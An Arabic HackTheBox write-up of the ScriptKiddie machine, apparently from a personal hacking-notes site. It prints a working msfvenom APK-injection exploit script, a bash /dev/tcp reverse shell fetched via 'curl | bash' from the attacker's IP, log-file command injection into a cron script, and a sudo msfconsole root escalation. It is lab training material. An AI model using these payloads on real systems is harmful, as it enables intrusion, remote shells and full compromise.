> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md).

# تقرير HackTheBox عن Scriptkiddie

{% embed url="<https://app.hackthebox.com/machines/ScriptKiddie>" %}

{% hint style="warning" %}
المهارات:

* استغلال Msfvenom (CVE-2020-7384) (تنفيذ أوامر عن بُعد)
* استغلال السجلات + مهمة Cron (حقن الأوامر والانتقال إلى مستخدم آخر)
* استغلال امتياز Sudoers (تصعيد امتيازات Msfconsole)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/831002de67faaebf214fa2bfa87a6fe5b8e5a5f8" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/231a6612b1ec7806085fb9aa817e63f0af0cbc5b" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts
```

<figure><img src="/files/b83ee46e64b2fa2e095ba3955ec2760f1854034e" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,5000 10.10.10.226 -oN targeted
```

<figure><img src="/files/31d67801f6c76d66a95f1877d029bf1a2bb1f346" alt=""><figcaption></figcaption></figure>

## المنفذ 5000 - استغلال Msfvenom APK TCI

<figure><img src="/files/0d788fbd5c3dca056cefd394af58e4fa3d294ecc" alt=""><figcaption></figcaption></figure>

نحدد خدمة ضعيفة تعمل على المنفذ 5000.

<figure><img src="/files/7ac5b492941e27bf981bda29de9534f155da5a14" alt=""><figcaption></figcaption></figure>

نقوم بإجراء بحث عن الثغرات المرتبطة:

```bash
searchsploit -m multiple/local/49491.py
```

نعثر على احتمال حقن عبر APK.

<figure><img src="/files/e55ca656f2aef05eed8fbb334c64f7d893b3b3ca" alt="" width="557"><figcaption></figcaption></figure>

**سكربت الاستغلال (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# غيّرني
payload = 'ping 10.10.14.50'

# استخدام b64encode لتجنب الأحرف السيئة (keytool حساس)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] جارٍ إنشاء ملف apk خبيث")
print(f"الحِمل: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# أنشئ empty_file
open(empty_file, "w").close()

# إنشاء apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# إنشاء مفتاح التوقيع باستخدام -dname خبيث
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# توقيع APK باستخدام dname الخبيث الخاص بنا
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] تم! ملف apk موجود في {apk_file}")
print(f"نفّذ: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

يقوم السكربت بإنشاء ملف مؤقت يحتوي على APK خبيث.

<figure><img src="/files/4d62cdece38a6f6f3359d5c4a05293a762fef0f8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ed9acbc96e3ecd2806f1e7d34acb4af53286f22b" alt=""><figcaption></figcaption></figure>

**تحليل حزمة ICMP**

نراقب نشاط الشبكة لاكتشاف الاستجابة:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/042a0c71dc4b67e2ff874ac081f370f53309da7c" alt=""><figcaption></figcaption></figure>

### **استغلال RCE باستخدام Msfvenom**

نعدّل الحمولة لإقامة اتصال عكسي:

```bash
# غيّرني
payload = 'curl 10.10.14.50 | bash'
```

ننشىء `index.html` ملف يحتوي على:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

نشغّل خادم HTTP:

```bash
python3 -m http.server 80
```

ثم، ننتظر الاتصال على المنفذ 443:

```bash
nc -nlvp 443
```

بمجرد إرسال APK وتشغيله على الجهاز المستهدف، نحصل على شِل عن بُعد.

<figure><img src="/files/4fca784ad73394e819c875c9915e70ebf4c832e7" alt=""><figcaption></figcaption></figure>

#### نقوم بتحسين الطرفية لدينا لزيادة التفاعلية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية user.txt :)

<figure><img src="/files/6c2bdf4fc73dea3c0af89e47c611f795d4360c84" alt="" width="563"><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

### الانتقال إلى pwn للمستخدم

نعثر على سكربت `scanlosers` في دليل المستخدم `pwn`:

```bash
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

يقوم هذا السكربت بمعالجة السجلات وتنفيذ `nmap`، والذي يمكن استغلاله لتصعيد الامتيازات.

<figure><img src="/files/75803db1691e14fb60e571a3b5b8654afc65cb18" alt=""><figcaption></figcaption></figure>

الفكرة هي حقن أمر مع الاستفادة من التصفية بالكلمة الثالثة. يمكننا إدراج فاصلة منقوطة `;` متبوعة بأمر خبيث، مثل `curl` إلى خادم يتحكم فيه المهاجم.

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers
```

ينتج عن ذلك طلب HTTP إلى خادمنا.

<figure><img src="/files/29c13ad782b4ce805fe60f9b36b89a7b534b74a5" alt=""><figcaption></figcaption></figure>

نستمع على جهازنا باستخدام:

```bash
nc -nlvp 443
```

ثم، نحقن أمرًا للحصول على شِل عن بُعد:

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers
```

<figure><img src="/files/70067ca2396e5561edbcb621f4f995a2ba77dc50" alt=""><figcaption></figcaption></figure>

### Sudo - Metasploit

نتحقق من `sudo` الصلاحيات:

```bash
sudo -l
```

<figure><img src="/files/617ef2d15bcb94f3dee89405f45851da393a6dbb" alt=""><figcaption></figcaption></figure>

نكتشف أنه يمكننا تنفيذ `ميتاسبلويت` بصفتـ `root`:

```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

<figure><img src="/files/e78f04d47405ad318669bdc9e82f8298a64515cb" alt=""><figcaption></figcaption></figure>

في `msfconsole`، نفتح صدفة Ruby تفاعلية:

```ruby
irb
```

ثم نشغّل صدفة Bash:

```ruby
system("/bin/bash")
```

نحن الآن `root` ويمكننا قراءة `root.txt` العلم! 🎉

<figure><img src="/files/737eafedc4390a676b11033975dd0c253d6d4b2a" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/56c37d52a46cb315405eb59714ae1a4fd7447012" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/837d328a3b468dfe0d810d365c3ab729ca13a4a5" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
